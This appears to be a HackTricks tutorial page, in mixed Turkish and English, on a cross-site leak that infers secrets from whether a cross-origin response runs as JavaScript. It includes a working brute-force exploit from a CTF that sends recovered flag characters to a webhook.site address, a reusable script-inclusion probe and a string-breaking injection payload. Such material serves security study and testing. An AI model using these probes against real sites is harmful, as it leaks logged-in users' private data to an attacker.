JavaScript Execution XS Leak

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Bu XS-Search primitive, cross-origin bir response’un JavaScript olarak çalışıp çalışmadığını bir Boolean oracle’a dönüştürür.

Genel kurulum şöyledir:

  • Positive state: target, attacker-controlled text veya attacker JavaScript’i olarak çalışmayan sensitive content döndürür.
  • Negative state: target, attacker-controlled text’i valid JavaScript olarak parse edilen bir yere yansıtır; böylece attacker window.parent.foo() gibi bir callback’i zorlayabilir.
  • Leak: target’ı klasik bir <script src> ile yükle ve callback’in tetiklenip tetiklenmediğini gözlemle.

Bu aslında bir execution oracle, timing oracle değil. Attacker’ın ihtiyacı olan tek şey, secret-dependent branch’e göre farklı davranan bir cross-origin script inclusion.

Genel XS-Leaks arka planı için bkz:

HackTricks

When This Works

Bu technique, aşağıdakilerin hepsi true olduğunda pratiktir:

  • Victim, target origin’e authenticated’dir.
  • Attacker, victim browser’ın target origin’den bir classic script istemesini sağlayabilir.
  • Branch’lerden biri valid attacker-controlled JavaScript olan content döndürür.
  • Diğer branch, attacker callback’ini execute etmeyen content döndürür.

Pratikte en kolay durumlar, şu tür search/debug endpoints’tir:

  • tahmin yanlışsa attacker-controlled text döndürür
  • tahmin doğruysa farklı bir body döndürür
  • attacker’ın callback, hint, msg veya reflected prefix/suffix gibi bir parameter seçmesine izin verir

Basic Example

${guess} değerini bir flag prefix’i olarak deneyecek server-side code:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Önceki /guessing sayfasına her olasılığı test etmek için iframe’ler oluşturan ana sayfa:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Saldırgan mantığı şöyledir:

  1. Her adayı “good” olarak başlatın.
  2. Hedef yanıtı bir script olarak yükleyin.
  3. Yanıt window.parent.foo() çalıştırırsa, adayı yanlış olarak işaretleyin.
  4. Hiçbir callback tetiklenmezse, adayı koruyun ve brute-forcing işlemine devam edin.

Minimal Probe Pattern

Birçok gerçek hedefte bir iframe gerekli değildir. Doğrudan bir script inclusion yeterlidir:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Eğer “wrong guess” branch miss()’i yansıtıyorsa, o zaman:

  • probe(...) === false callback çalıştı veya yükleme başarısız oldu demektir
  • probe(...) === true script, attacker callback çalışmadan yüklendi demektir

Güvenilirlik için, her probe için fresh script element kullanın ve ?r=${crypto.randomUUID()} gibi bir cache-buster ekleyin.

Modern Caveats

It must be a classic script

Bu primitive, browser’ın resource’u bir classic script olarak fetch etmesine dayanır. crossorigin olmadan düz bir <script src=...>, no-cors mode’da fetch edilir; bu da bu eski pattern’in cross-origin üzerinde hâlâ neden kullanışlı olduğunu açıklar.

Bu teknik için type="module" kullanmaya geçmeyin:

  • cross-origin module scripts require CORS
  • classic script olarak includable olan birçok target, module olarak basitçe fail olur

MIME type and nosniff decide whether the payload executes

Güncel browser’lar eski writeup’lara göre daha sıkıdır. Target X-Content-Type-Options: nosniff ayarlarsa, browser MIME type’ı bir JavaScript MIME type olmayan script response’u block eder.

Bu yüzden bu oracle çoğu zaman şunlara bağlıdır:

  • target application/javascript / text/javascript döndürüyor mu
  • target text/plain, text/html veya JSON döndürüyor mu
  • nosniff var mı

Bu yüzden bazı endpoint’ler sadece bir branch’te leak verir: response’lardan biri script olarak kabul edilirken diğer branch block edilir veya farklı parse edilir.

CORB can change the observable result

CORB düşünmeniz gereken bir branch daha ekler. Bir response CORB-protected sayılırsa, Chromium bunu parse failure göstermek yerine empty valid script response’a çevirebilir. Bu nedenle bazı endpoint’lerde:

  • bir state normal script parse / callback tetikler
  • başka bir state empty script olur ve yalnızca onload fires

Bu hâlâ kullanışlı bir oracle’dır, ancak signal artık sadece “JavaScript executed or not” değil, callback vs no callback veya onload vs onerror olur.

CSP can kill the attacker-controlled branch

target response üzerindeki strict CSP, reflected branch artık executable JavaScript olmadığında bu primitive’i bozabilir. 2022’den 2024’e kadar public XS-Leak challenge writeup’ları bu detaya tekrar tekrar dayanır:

  • script-src 'none' saldırganları doğrudan execution oracle yerine başka bir yöne pivot etmeye zorlayabilir
  • CSP/SRI/CSP-report interactions yine other leak oracle’lar yaratabilir, ama bunlar başka page/technique’lere aittir

Bu yüzden bariz callback trick çalışmadığında, endpoint’i gözden çıkarmadan önce response headers’ı inceleyin.

Useful Variants

Callback-parameter endpoints

En kullanışlı target, callback=... gibi bir parameter kabul eden JSONP-style veya debug endpoint’tir:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Eğer “miss” branch bu değeri executable JavaScript içine olduğu gibi yansıtıyor ve “hit” branch farklı content döndürüyorsa, timing measurement olmadan doğrudan bir Boolean oracle elde edersiniz.

Syntax-preserving prefixes and suffixes

Bazen response body üzerinde tam kontrolünüz olmaz, ama yine de negative branch’i çalıştırabilirsiniz:

  • mevcut string veya function argument’ını kapatın
  • callback’i inject edin
  • trailing bytes’ı comment out edin

Örneğin, şu şekilde yansıtılan bir branch:

showResult("<attacker>");

sıklıkla şu şekilde dönüştürülebilir:

showResult("");window.parent.foo();//");

Eğer pozitif branch bu payload’u yansıtmıyorsa, callback oracle olur.

Event-based oracle’larla birleştirme

Endpoint tarayıcılar arasında kararsızsa, execution oracle’ı bölüm indeksinde zaten ele alınan genel script load event’leri ile karıştırın:

  • callback fired
  • onload
  • onerror

Bu, özellikle bir branch geçerli JavaScript üretirken diğer branch blocked MIME / CORB / CSP davranışı verdiğinde çok kullanışlıdır.

İlgili sayfalar:

Pratik Notlar

  • İstek başına bir bit tercih edin ve callback side effect’ini basit tutun.
  • Birçok aday probe ediyorsanız, daha önce eklenmiş <script> öğelerini kaldırın veya her denemeyi yeni bir iframe içinde izole edin.
  • Cache ve service worker davranışı oracle’ı bozabilir; cache-busting kullanın.
  • Bu primitive, negative branch tamamen saldırgan tarafından kontrol edilen JavaScript olduğunda en güçlüdür. Eğer yalnızca kısmi reflection alıyorsanız, exploit bir XS-Search probleminden çok payload shaping problemine dönüşür.

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin